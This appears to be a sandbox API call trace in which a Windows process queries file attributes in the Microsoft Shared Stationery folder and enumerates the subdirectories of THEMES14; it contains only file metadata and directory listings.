	[0050.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), fInfoLevelId=0x0, lpFileInformation=0x1277e238 | out: lpFileInformation=0x1277e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4)) returned 1
	[0050.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e288 | out: lpFileInformation=0x1277e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86)) returned 1
	[0050.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), fInfoLevelId=0x0, lpFileInformation=0x1277e2d8 | out: lpFileInformation=0x1277e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0050.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e328 | out: lpFileInformation=0x1277e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed)) returned 1
	[0050.610] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), fInfoLevelId=0x0, lpFileInformation=0x1277e378 | out: lpFileInformation=0x1277e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1
	[0050.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e3c8 | out: lpFileInformation=0x1277e3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb)) returned 1
	[0050.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e418 | out: lpFileInformation=0x1277e418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d)) returned 1
	[0050.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e468 | out: lpFileInformation=0x1277e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb)) returned 1
	[0050.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e4b8 | out: lpFileInformation=0x1277e4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1)) returned 1
	[0050.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), fInfoLevelId=0x0, lpFileInformation=0x1277e508 | out: lpFileInformation=0x1277e508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9)) returned 1
	[0050.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e558 | out: lpFileInformation=0x1277e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780)) returned 1
	[0050.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e5a8 | out: lpFileInformation=0x1277e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0)) returned 1
	[0050.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), fInfoLevelId=0x0, lpFileInformation=0x1277e5f8 | out: lpFileInformation=0x1277e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4)) returned 1
	[0050.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x1277e648 | out: lpFileInformation=0x1277e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0050.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e698 | out: lpFileInformation=0x1277e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e)) returned 1
	[0050.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), fInfoLevelId=0x0, lpFileInformation=0x1277e6e8 | out: lpFileInformation=0x1277e6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c)) returned 1
	[0050.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e738 | out: lpFileInformation=0x1277e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6)) returned 1
	[0050.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x1277e788 | out: lpFileInformation=0x1277e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1
	[0050.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e7d8 | out: lpFileInformation=0x1277e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949)) returned 1
	[0050.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), fInfoLevelId=0x0, lpFileInformation=0x1277e828 | out: lpFileInformation=0x1277e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1
	[0050.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e878 | out: lpFileInformation=0x1277e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51)) returned 1
	[0050.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), fInfoLevelId=0x0, lpFileInformation=0x1277e8c8 | out: lpFileInformation=0x1277e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748)) returned 1
	[0050.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e968 | out: lpFileInformation=0x1277e968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42)) returned 1
	[0050.621] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), fInfoLevelId=0x0, lpFileInformation=0x1277e9b8 | out: lpFileInformation=0x1277e9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e)) returned 1
	[0050.623] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), fInfoLevelId=0x0, lpFileInformation=0x1277ea08 | out: lpFileInformation=0x1277ea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860)) returned 1
	[0050.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277ea58 | out: lpFileInformation=0x1277ea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60)) returned 1
	[0050.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), fInfoLevelId=0x0, lpFileInformation=0x1277eaa8 | out: lpFileInformation=0x1277eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7)) returned 1
	[0050.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), fInfoLevelId=0x0, lpFileInformation=0x1277eaf8 | out: lpFileInformation=0x1277eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68)) returned 1
	[0050.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), fInfoLevelId=0x0, lpFileInformation=0x1277eb48 | out: lpFileInformation=0x1277eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a)) returned 1
	[0050.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), fInfoLevelId=0x0, lpFileInformation=0x1277eb98 | out: lpFileInformation=0x1277eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.627] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1
